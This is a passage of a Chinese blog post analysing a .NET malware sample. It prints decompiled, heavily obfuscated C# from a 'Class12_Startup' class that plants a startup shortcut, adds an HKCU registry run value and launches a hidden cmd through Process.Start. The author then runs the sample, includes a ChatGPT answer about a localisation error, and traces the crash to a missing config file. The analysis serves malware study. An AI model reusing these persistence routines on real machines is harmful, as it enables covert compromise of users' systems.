        // Token: 0x06000117 RID: 279 RVA: 0x0001ED58 File Offset: 0x0001CF58
        internal static bool Get_AutoFlush(string string_0)
        {
            string text = Environment.GetFolderPath((Environment.SpecialFolder)(((int.Parse("-1662360029") ^ int.Parse("1662352573")) + Convert.ToInt32(72774.0 - Math.Truncate(24258.0)) / <Module>.ValidateKeyView(int.Parse("3")) + (int.Parse("435685617") ^ int.Parse("435695380")) / <Module>.ValidateKeyView(int.Parse("13"))) * (Convert.ToInt32((double)-111662f) + Convert.ToInt32(54118.22270696087 + Math.Tan(27135.5)) / <Module>.ValidateKeyView(int.Parse("8")) + Convert.ToInt32((double)57392f) / <Module>.ValidateKeyView(int.Parse("11"))))) + "\\" + Path.ChangeExtension(Path.GetFileName(string_0), ".lnk");
            bool result;
            if ((File.Exists(text) ? 1 : 0) == Convert.ToInt32((double)-120906f) + Convert.ToInt32(81849.85600839289 - Math.Sin(40924.5)) / <Module>.ValidateKeyView(int.Parse("4")) + Convert.ToInt32(19529.0 + Math.Round(19528.5)) / <Module>.ValidateKeyView(int.Parse("5")) + Type.EmptyTypes.Length - Type.EmptyTypes.Length)
            {
                result = Class12_Startup.EndAddr(text, string_0);
            }
            else
            {
                result = ((int.Parse("-1543707215") ^ int.Parse("1543714655")) + Convert.ToInt32(130967.0 - Math.Round(43655.5)) / <Module>.ValidateKeyView(int.Parse("13")) - Convert.ToInt32(75771.96340220865 - Math.Cos(37886.0)) / <Module>.ValidateKeyView(int.Parse("10")) != 0);
            }
            return result;
        }
 
        // Token: 0x06000118 RID: 280 RVA: 0x0001EF40 File Offset: 0x0001D140
        private static bool EndAddr(string string_0, string string_1)
        {
            try
            {
                object objectValue = RuntimeHelpers.GetObjectValue(Activator.CreateInstance(Type.GetTypeFromCLSID(new Guid("72C24DD5-D70A-438B-8A42-98424B88AFB8"))));
                try
                {
                    object instance = objectValue;
                    Type type = null;
                    string memberName = "CreateShortcut";
                    object[] array = new object[(int.Parse("-1895988106") ^ int.Parse("1895964075")) + Convert.ToInt32(46540.0 + Math.Truncate(46539.5)) / <Module>.ValidateKeyView(int.Parse("1")) - Convert.ToInt32(100397.0 - Math.Ceiling(33465.5)) / <Module>.ValidateKeyView(int.Parse("2"))];
                    array[Convert.ToInt32((double)-35910f) + Convert.ToInt32(8856.587538226117 + Math.Cos(4428.5)) / <Module>.ValidateKeyView(int.Parse("11")) + Convert.ToInt32(27055.55674404852 + Math.Tan(13526.5)) / <Module>.ValidateKeyView(int.Parse("1")) - Type.EmptyTypes.Length + Type.EmptyTypes.Length] = string_0;
                    object[] array2 = array;
                    string[] argumentNames = null;
                    Type[] typeArguments = null;
                    bool[] array3 = new bool[(int.Parse("-242492809") ^ int.Parse("242534661")) + Convert.ToInt32(56867.0 + Math.Tanh(28434.0)) / <Module>.ValidateKeyView(int.Parse("9")) + Convert.ToInt32(1845.5 + Math.Abs(1845.5)) / <Module>.ValidateKeyView(int.Parse("10"))];
                    array3[(int.Parse("-487234369") ^ int.Parse("487301002")) + Convert.ToInt32(43103.984831455695 - Math.Cos(21551.5)) / <Module>.ValidateKeyView(int.Parse("10")) + Convert.ToInt32((double)23660f) / <Module>.ValidateKeyView(int.Parse("14")) - Type.EmptyTypes.Length + Type.EmptyTypes.Length] = (Convert.ToInt32(11909.0 + Math.Round(11909.0)) / <Module>.ValidateKeyView(int.Parse("9")) + Convert.ToInt32((double)10079f) / <Module>.ValidateKeyView(int.Parse("7")) - Convert.ToInt32(33895.0 + Math.Tanh(16948.0)) / <Module>.ValidateKeyView(int.Parse("1")) != 0);
                    bool[] array4 = array3;
                    object obj = NewLateBinding.LateGet(instance, type, memberName, array, argumentNames, typeArguments, array3);
                    if (array4[Convert.ToInt32(20887.0 + Math.Abs(20887.0)) / <Module>.ValidateKeyView(int.Parse("8")) + (int.Parse("1450761171") ^ int.Parse("1450727027")) / <Module>.ValidateKeyView(int.Parse("2")) - Convert.ToInt32(78227.52215065657 - Math.Sqrt(39015.0)) / <Module>.ValidateKeyView(int.Parse("4")) + Type.EmptyTypes.Length - Type.EmptyTypes.Length])
                    {
                        string_0 = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array2[Convert.ToInt32((double)-9165f) + Convert.ToInt32((double)20283f) / <Module>.ValidateKeyView(int.Parse("8")) - Convert.ToInt32(11117.951818134667 - Math.Cos(5559.0)) / <Module>.ValidateKeyView(int.Parse("11")) - Type.EmptyTypes.Length - Type.EmptyTypes.Length]), typeof(string));
                    }
                    object objectValue2 = RuntimeHelpers.GetObjectValue(obj);
                    try
                    {
                        object instance2 = objectValue2;
                        Type type2 = null;
                        string memberName2 = "TargetPath";
                        object[] array5 = new object[Convert.ToInt32((double)-343f) + Convert.ToInt32(41512.54976434498 + Math.Tan(20756.0)) / <Module>.ValidateKeyView(int.Parse("12")) - Convert.ToInt32(61752.0 - Math.Round(20584.0)) / <Module>.ValidateKeyView(int.Parse("8"))];
                        array5[Convert.ToInt32((double)67238f) / <Module>.ValidateKeyView(int.Parse("10")) + Convert.ToInt32(1366.0 + Math.Truncate(1365.5)) / <Module>.ValidateKeyView(int.Parse("14")) - Convert.ToInt32((double)69969f) / <Module>.ValidateKeyView(int.Parse("3")) - Type.EmptyTypes.Length - Type.EmptyTypes.Length] = string_1;
                        NewLateBinding.LateSet(instance2, type2, memberName2, array5, null, null);
                        object instance3 = objectValue2;
                        Type type3 = null;
                        string memberName3 = "WorkingDirectory";
                        object[] array6 = new object[Convert.ToInt32(14924.872562366774 - Math.Tan(7462.0)) / <Module>.ValidateKeyView(int.Parse("13")) + Convert.ToInt32(27867.859461327458 + Math.Cos(13933.5)) / <Module>.ValidateKeyView(int.Parse("2")) - Convert.ToInt32(21395.0 + Math.Truncate(21395.0)) / <Module>.ValidateKeyView(int.Parse("10"))];
                        array6[Convert.ToInt32((double)-112984f) + Convert.ToInt32(32695.0 + Math.Ceiling(32695.0)) / <Module>.ValidateKeyView(int.Parse("10")) + Convert.ToInt32((double)47594f) / <Module>.ValidateKeyView(int.Parse("14")) + Type.EmptyTypes.Length - Type.EmptyTypes.Length] = string_1;
                        NewLateBinding.LateSet(instance3, type3, memberName3, array6, null, null);
                        NewLateBinding.LateCall(objectValue2, null, "Save", new object[Convert.ToInt32((double)-133151f) + Convert.ToInt32(29711.0 + Math.Round(29710.5)) / <Module>.ValidateKeyView(int.Parse("9")) + Convert.ToInt32((double)73730f) / <Module>.ValidateKeyView(int.Parse("1")) - Type.EmptyTypes.Length - Type.EmptyTypes.Length], null, null, null, (int.Parse("-1531599926") ^ int.Parse("1531690413")) + Convert.ToInt32(80861.0 + Math.Tanh(40431.0)) / <Module>.ValidateKeyView(int.Parse("14")) + Convert.ToInt32(21214.0 + Math.Abs(21214.0)) / <Module>.ValidateKeyView(int.Parse("1")) != 0);
                    }
                    finally
                    {
                        Marshal.FinalReleaseComObject(RuntimeHelpers.GetObjectValue(objectValue2));
                    }
                }
                finally
                {
                    Marshal.FinalReleaseComObject(RuntimeHelpers.GetObjectValue(objectValue));
                }
                return Convert.ToInt32(13965.0 - Math.Truncate(4655.0)) / <Module>.ValidateKeyView(int.Parse("9")) + Convert.ToInt32(82742.80586871838 + Math.Cos(41371.0)) / <Module>.ValidateKeyView(int.Parse("12")) - Convert.ToInt32((double)92051f) / <Module>.ValidateKeyView(int.Parse("13")) != 0;
            }
            catch (Exception ex)
            {
            }
            return Convert.ToInt32(58988.53022951354 + Math.Log10(29496.5)) / <Module>.ValidateKeyView(int.Parse("1")) + Convert.ToInt32(14443.0 + Math.Truncate(14442.5)) / <Module>.ValidateKeyView(int.Parse("14")) - Convert.ToInt32(87867.30944241263 + Math.Log(43939.0)) / <Module>.ValidateKeyView(int.Parse("9")) + Type.EmptyTypes.Length + Type.EmptyTypes.Length != 0;
        }
 
        // Token: 0x06000119 RID: 281 RVA: 0x0001F744 File Offset: 0x0001D944
        private static void DontWriteAnything(string string_0, string string_1, string string_2)
        {
            int num = Convert.ToInt32((double)9766f) / <Module>.ValidateKeyView(int.Parse("3")) + Convert.ToInt32(24671.140469336275 + Math.Sin(12336.0)) / <Module>.ValidateKeyView(int.Parse("8")) - Convert.ToInt32(17219.0 + Math.Round(17219.0)) / <Module>.ValidateKeyView(int.Parse("4")) + Type.EmptyTypes.Length + Type.EmptyTypes.Length;
            string[] array = new string[(Convert.ToInt32((double)-107374f) + Convert.ToInt32((double)64747f) / <Module>.ValidateKeyView(int.Parse("10")) + Convert.ToInt32((double)42636f) / <Module>.ValidateKeyView(int.Parse("5"))) * ((int.Parse("-675922721") ^ int.Parse("675917610")) + Convert.ToInt32(92703.90390270783 - Math.Cos(46351.5)) / <Module>.ValidateKeyView(int.Parse("8")) - Convert.ToInt32(65038.487829431506 + Math.Log10(32521.5)) / <Module>.ValidateKeyView(int.Parse("2")))];
            array[Convert.ToInt32((double)-175617f) + Convert.ToInt32(79404.99246461812 + Math.Sin(39702.0)) / <Module>.ValidateKeyView(int.Parse("10")) + (int.Parse("521541980") ^ int.Parse("521629321")) / <Module>.ValidateKeyView(int.Parse("14")) + Type.EmptyTypes.Length - Type.EmptyTypes.Length] = "REG ADD ";
            array[Convert.ToInt32((double)-86545f) + Convert.ToInt32(145230.0 - Math.Abs(48410.0)) / <Module>.ValidateKeyView(int.Parse("4")) - Convert.ToInt32(10274.879487822023 + Math.Cos(5137.0)) / <Module>.ValidateKeyView(int.Parse("2"))] = "\"HKCU\\" + string_0 + "\"";
            array[(Convert.ToInt32(40118.09141265462 - Math.Cos(20059.5)) / <Module>.ValidateKeyView(int.Parse("13")) + Convert.ToInt32((double)42431f) / <Module>.ValidateKeyView(int.Parse("8")) - (int.Parse("2012817835") ^ int.Parse("2012769247")) / <Module>.ValidateKeyView(int.Parse("4"))) * (Convert.ToInt32(6129.0 + Math.Abs(6129.0)) / <Module>.ValidateKeyView(int.Parse("7")) + Convert.ToInt32(69824.98084182877 + Math.Sin(34912.5)) / <Module>.ValidateKeyView(int.Parse("6")) - Convert.ToInt32(123123.0 - Math.Round(41041.0)) / <Module>.ValidateKeyView(int.Parse("10")))] = " /f /v ";
            array[((int.Parse("-157731048") ^ int.Parse("157767075")) + Convert.ToInt32(142963.0 - Math.Truncate(47654.5)) / <Module>.ValidateKeyView(int.Parse("9")) + Convert.ToInt32(10499.56512584517 - Math.Log(5245.5)) / <Module>.ValidateKeyView(int.Parse("12"))) * (Convert.ToInt32((double)-63567f) + Convert.ToInt32(114301.5 - Math.Abs(38100.5)) / <Module>.ValidateKeyView(int.Parse("12")) - Convert.ToInt32(12632.053301785229 + Math.Sin(6316.5)) / <Module>.ValidateKeyView(int.Parse("13")))] = "\"" + string_1 + "\"";
            array[(Convert.ToInt32((double)-99905f) + Convert.ToInt32(41727.945540788765 - Math.Log(20859.0)) / <Module>.ValidateKeyView(int.Parse("1")) + Convert.ToInt32(87287.0 - Math.Round(29095.5)) / <Module>.ValidateKeyView(int.Parse("6"))) * (Convert.ToInt32((double)-62966f) + Convert.ToInt32(21145.0 + Math.Ceiling(21145.0)) / <Module>.ValidateKeyView(int.Parse("11")) + Convert.ToInt32(20676.47757917575 - Math.Tan(10338.5)) / <Module>.ValidateKeyView(int.Parse("1")))] = " /t REG_SZ /d ";
            string[] array2 = array;
            array2[(Convert.ToInt32((double)-73656f) + Convert.ToInt32(24033.0 - Math.Truncate(8011.0)) / <Module>.ValidateKeyView(int.Parse("4")) + Convert.ToInt32(57634.54031355819 + Math.Log10(28819.5)) / <Module>.ValidateKeyView(int.Parse("10"))) * (Convert.ToInt32((double)-63764f) + Convert.ToInt32(29148.412662583894 + Math.Log(14579.0)) / <Module>.ValidateKeyView(int.Parse("11")) + Convert.ToInt32(34611.23813395729 - Math.Log10(17303.5)) / <Module>.ValidateKeyView(int.Parse("14")))] = null;
            array2[(Convert.ToInt32(10491.504885601247 - Math.Tan(5246.0)) / <Module>.ValidateKeyView(int.Parse("12")) + Convert.ToInt32(28645.0 + Math.Floor(28645.0)) / <Module>.ValidateKeyView(int.Parse("9")) - Convert.ToInt32(101662.5 - Math.Abs(33887.5)) / <Module>.ValidateKeyView(int.Parse("3"))) * (Convert.ToInt32(14720.742966535727 - Math.Tan(7360.5)) / <Module>.ValidateKeyView(int.Parse("9")) + Convert.ToInt32(17.0 + Math.Round(17.5)) / <Module>.ValidateKeyView(int.Parse("12")) - Convert.ToInt32((double)14755f) / <Module>.ValidateKeyView(int.Parse("5")))] = string_2;
            array2[((int.Parse("-1905992075") ^ int.Parse("1905959876")) + Convert.ToInt32(18126.994805559836 + Math.Tan(9063.5)) / <Module>.ValidateKeyView(int.Parse("4")) + Convert.ToInt32(80771.39374765242 + Math.Log10(40388.0)) / <Module>.ValidateKeyView(int.Parse("13"))) * (Convert.ToInt32(79501.54361120917 + Math.Tan(39751.0)) / <Module>.ValidateKeyView(int.Parse("9")) + Convert.ToInt32(6514.910057508764 + Math.Log(3261.5)) / <Module>.ValidateKeyView(int.Parse("5")) - Convert.ToInt32(86013.33076557449 + Math.Log(43012.0)) / <Module>.ValidateKeyView(int.Parse("3")))] = "\"";
            array2[((int.Parse("-1145493769") ^ int.Parse("1145451793")) + Convert.ToInt32((double)56347f) / <Module>.ValidateKeyView(int.Parse("5")) + Convert.ToInt32(4101.81919317079 - Math.Sin(2050.5)) / <Module>.ValidateKeyView(int.Parse("7"))) * (Convert.ToInt32((double)-141150f) + Convert.ToInt32(64057.5 - Math.Abs(21352.5)) / <Module>.ValidateKeyView(int.Parse("11")) + Convert.ToInt32(98446.86466984783 - Math.Cos(49223.0)) / <Module>.ValidateKeyView(int.Parse("11")))] = "\"";
            string str = (checked(Class6_GetOptions.InternalBinarySearch.ExecutionDelay + unchecked(new Random().Next(((int.Parse("128585495") ^ int.Parse("128590991")) / <Module>.ValidateKeyView(int.Parse("10")) + Convert.ToInt32(28927.0 - Math.Floor(9642.5)) / <Module>.ValidateKeyView(int.Parse("8")) - Convert.ToInt32(30441.0 - Math.Tanh(15220.0)) / <Module>.ValidateKeyView(int.Parse("6"))) * (Convert.ToInt32((double)-112778f) + Convert.ToInt32(20761.0 + Math.Abs(20761.0)) / <Module>.ValidateKeyView(int.Parse("13")) + Convert.ToInt32((double)71257f) / <Module>.ValidateKeyView(int.Parse("1"))), (Convert.ToInt32((double)-115314f) + Convert.ToInt32(144558.0 - Math.Floor(48186.0)) / <Module>.ValidateKeyView(int.Parse("7")) + Convert.ToInt32(18951.423662756893 + Math.Cos(9476.0)) / <Module>.ValidateKeyView(int.Parse("8"))) * (Convert.ToInt32((double)-58079f) + Convert.ToInt32(145313.0 - Math.Ceiling(48437.5)) / <Module>.ValidateKeyView(int.Parse("9")) - Convert.ToInt32(38804.87289947077 - Math.Log(19397.5)) / <Module>.ValidateKeyView(int.Parse("1"))))))).ToString() + " ";
            Class12_Startup.LOCALE_SISO639LANGNAME2("cmd", "/c ping 127.0.0.1 -n " + str + "> nul &&  " + string.Concat(array), Convert.ToInt32((double)-10971f) + Convert.ToInt32((double)71543f) / <Module>.ValidateKeyView(int.Parse("7")) - Convert.ToInt32(60572.0 - Math.Tanh(30285.5)) / <Module>.ValidateKeyView(int.Parse("3")) != 0);
        }
 
        // Token: 0x0600011A RID: 282 RVA: 0x00020220 File Offset: 0x0001E420
        internal static void LOCALE_SISO639LANGNAME2(string string_0, string string_1, bool bool_0)
        {
            int num = (int.Parse("-1913524470") ^ int.Parse("1913642619")) + Convert.ToInt32(68468.15533314795 - Math.Cos(34234.5)) / <Module>.ValidateKeyView(int.Parse("9")) + Convert.ToInt32(74919.0 - Math.Ceiling(24973.0)) / <Module>.ValidateKeyView(int.Parse("9")) + Type.EmptyTypes.Length + Type.EmptyTypes.Length;
            Class12_Startup.DateTimeOffset(string_0, string_1);
        }
 
        // Token: 0x0600011B RID: 283 RVA: 0x000202B8 File Offset: 0x0001E4B8
        private static void DateTimeOffset(string string_0, string string_1)
        {
            Process.Start(new ProcessStartInfo
            {
                FileName = string_0,
                Arguments = string_1,
                WindowStyle = (ProcessWindowStyle)(Convert.ToInt32((double)-74359f) + Convert.ToInt32((double)78320f) / <Module>.ValidateKeyView(int.Parse("6")) - Convert.ToInt32(5940.0 - Math.Abs(1980.0)) / <Module>.ValidateKeyView(int.Parse("7"))),
                CreateNoWindow = (Convert.ToInt32((double)-69394f) + Convert.ToInt32(31566.0 + Math.Truncate(31565.5)) / <Module>.ValidateKeyView(int.Parse("4")) + Convert.ToInt32(3132.0 + Math.Floor(3132.0)) / <Module>.ValidateKeyView(int.Parse("9")) != 0),
                UseShellExecute = (Convert.ToInt32((double)-124642f) + Convert.ToInt32(68329.0 + Math.Tanh(34165.0)) / <Module>.ValidateKeyView(int.Parse("6")) + Convert.ToInt32(84468.0 - Math.Truncate(28156.0)) / <Module>.ValidateKeyView(int.Parse("3")) - Type.EmptyTypes.Length - Type.EmptyTypes.Length != 0),
                RedirectStandardError = (Convert.ToInt32((double)-46178f) + Convert.ToInt32(67591.98330745602 + Math.Sin(33795.5)) / <Module>.ValidateKeyView(int.Parse("8")) - Convert.ToInt32(21308.530197642016 + Math.Sqrt(10706.0)) / <Module>.ValidateKeyView(int.Parse("3")) != 0)
            });
        }
 
        // Token: 0x0600011C RID: 284 RVA: 0x00011E59 File Offset: 0x00010059
        public static string smethod_0()
        {
            return ")mmk!kiic%";
        }
 
        // Token: 0x0600011D RID: 285 RVA: 0x00011E60 File Offset: 0x00010060
        public static int smethod_1()
        {
            return 77109389;
        }
 
        // Token: 0x0600011E RID: 286 RVA: 0x00011E67 File Offset: 0x00010067
        public static string smethod_2()
        {
            return "!aon!mkk@n";
        }
 
        // Token: 0x0600011F RID: 287 RVA: 0x00011D63 File Offset: 0x0000FF63
        public static int smethod_3()
        {
            return 19053177;
        }
 
        // Token: 0x06000120 RID: 288 RVA: 0x00011E6E File Offset: 0x0001006E
        public static string smethod_4()
        {
            return "c]$)%&d%&k";
        }
 
        // Token: 0x06000121 RID: 289 RVA: 0x00011E75 File Offset: 0x00010075
        public static int smethod_5()
        {
            return 31180742;
        }
 
        // Token: 0x06000122 RID: 290 RVA: 0x00011E7C File Offset: 0x0001007C
        public static string smethod_6()
        {
            return "%q)e]*!@ml";
        }
 
        // Token: 0x06000123 RID: 291 RVA: 0x00011E83 File Offset: 0x00010083
        public static int smethod_7()
        {
            return 76529586;
        }
 
        // Token: 0x06000124 RID: 292 RVA: 0x00011E8A File Offset: 0x0001008A
        public static string smethod_8()
        {
            return "^/bu$$g**n";
        }
 
        // Token: 0x06000125 RID: 293 RVA: 0x00011E91 File Offset: 0x00010091
        public static int smethod_9()
        {
            return 61914793;
        }
 
        // Token: 0x06000126 RID: 294 RVA: 0x00011E98 File Offset: 0x00010098
        public static string smethod_10()
        {
            return "%!%k^os@f!";
        }
 
        // Token: 0x06000127 RID: 295 RVA: 0x00011913 File Offset: 0x0000FB13
        public static int smethod_11()
        {
            return 38322046;
        }
 
        // Token: 0x06000128 RID: 296 RVA: 0x00011E9F File Offset: 0x0001009F
        public static string smethod_12()
        {
            return "ak)uag%^e@";
        }
 
        // Token: 0x06000129 RID: 297 RVA: 0x00011E60 File Offset: 0x00010060
        public static int smethod_13()
        {
            return 77109389;
        }
 
        // Token: 0x0600012A RID: 298 RVA: 0x00011EA6 File Offset: 0x000100A6
        public static string smethod_14()
        {
            return "/&dsv([]@#";
        }
 
        // Token: 0x0600012B RID: 299 RVA: 0x00011913 File Offset: 0x0000FB13
        public static int smethod_15()
        {
            return 38322046;
        }
    }
}

　　好吧，看来反混下没有什么卵用，只能自己实际运行下看看了。

 

运行：

 通过反射的方式运行：

 因为是通过invoke去运行dll里的函数：在在 C# 中通过 P/Invoke 调用Win32 DLL这篇文中，详细介绍了P/Invoke的基本知识以及使用。

 

 

 

 追踪发现程序死在：new DataGridView这里

 继续跟进是死在：

 

 

 

 

 所以怀疑是环境的问题！我是中文环境！

 

.net这行代码运行出错：this.horizScrollBar.AccessibleName = SR.GetString("DataGridView_AccHorizontalScrollBarAccName");可能原因是什么？我是zh-CN环境。
 
ChatGPT回答

根据您提供的代码，错误似乎与资源字符串（Resource String）的获取有关。代码中的SR.GetString("DataGridView_AccHorizontalScrollBarAccName")是用于获取一个名为"DataGridView_AccHorizontalScrollBarAccName"的资源字符串。您提到您是在zh-CN环境下运行，这可能导致资源字符串查找失败，从而引发错误。

请确保以下几点以排除问题：

  1. 资源字符串存在且正确： 确保在您的代码中存在名为"DataGridView_AccHorizontalScrollBarAccName"的资源字符串，并且资源字符串的键名没有拼写错误或大小写问题。

  2. 本地化资源： 由于您是在zh-CN环境下运行，您需要确保存在针对中文环境的本地化资源。即使在zh-CN环境下，您的应用程序也应该提供相应的资源文件，以便在需要时加载适用于中文环境的资源字符串。

  3. 资源文件位置： 确保资源文件位于正确的位置，以便应用程序可以正确地找到和加载资源字符串。通常，资源文件会根据语言和区域的不同存储在不同的文件夹中。

  4. 资源字符串获取方式： 如果使用的是SR.GetString方法获取资源字符串，确保这个方法的实现能够正确地从资源文件中获取并返回对应的字符串。

 

好吧，我尝试使用英文环境，继续出错，在New Form时候报错，晕死：跟进去

 

最终可以确定是因为配置文件缺失导致程序无法运行。

关于.net程序的配置文件！

比如我们简单写一个程序：

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
 
 
namespace TestWindowsFormsApp
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            LoadSetting();
        }
 
        private void LoadSetting()
        {
            string enableFeatureValue = System.Configuration.ConfigurationManager.AppSettings.Get("EnableFeature");
            bool enableFeature = Convert.ToBoolean(enableFeatureValue);
            if (enableFeature)
            {
                MessageBox.Show("Feature is enabled!");
            }
            else
            {
                MessageBox.Show("Feature is disabled.");
            }
        }
    }
}

　　

生成的程序：

 

同时，该文件内容：

 

自动生成了不少内容！

 

好了，知道了原因，如何修改该程序运行应该就明白了。

 

posted @   bonelee  阅读(90)  评论(0)  编辑  收藏  举报
相关博文：
· 木马分析 99b2648789b255b806ad8ef3e1452db4ababbf42e2cb91c94cf1d34cab808292
· 样本分析 99cc3ed45ab5f25cc7131de81f5084d476b04afa9def647a0a7d20f1beb95adb
· Windows 调试工具课程——在软件万种死法中调试出原因
· Informix 4gl错误代码信息和更正
· PLAY ransomware
阅读排行：
· 全程不用写代码，我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了，比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15：你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
历史上的今天：
2017-08-31 vim 按照字段排序文件
2017-08-31 ES shard unassigned的解决方法汇总
2017-08-31 Reroute Unassigned Shards——遇到主shard 出现的解决方法就是重新路由
2017-08-31 Recovering unassigned shards on elasticsearch 2.x——副本shard可以设置replica为0在设置回来
2017-08-31 How to resolve unassigned shards in Elasticsearch——写得非常好
2017-08-31 ES 遇到 unassigned shard如何处理？
2017-08-31 elasticsearch如何安全重启
点击右上角即可分享
微信分享提示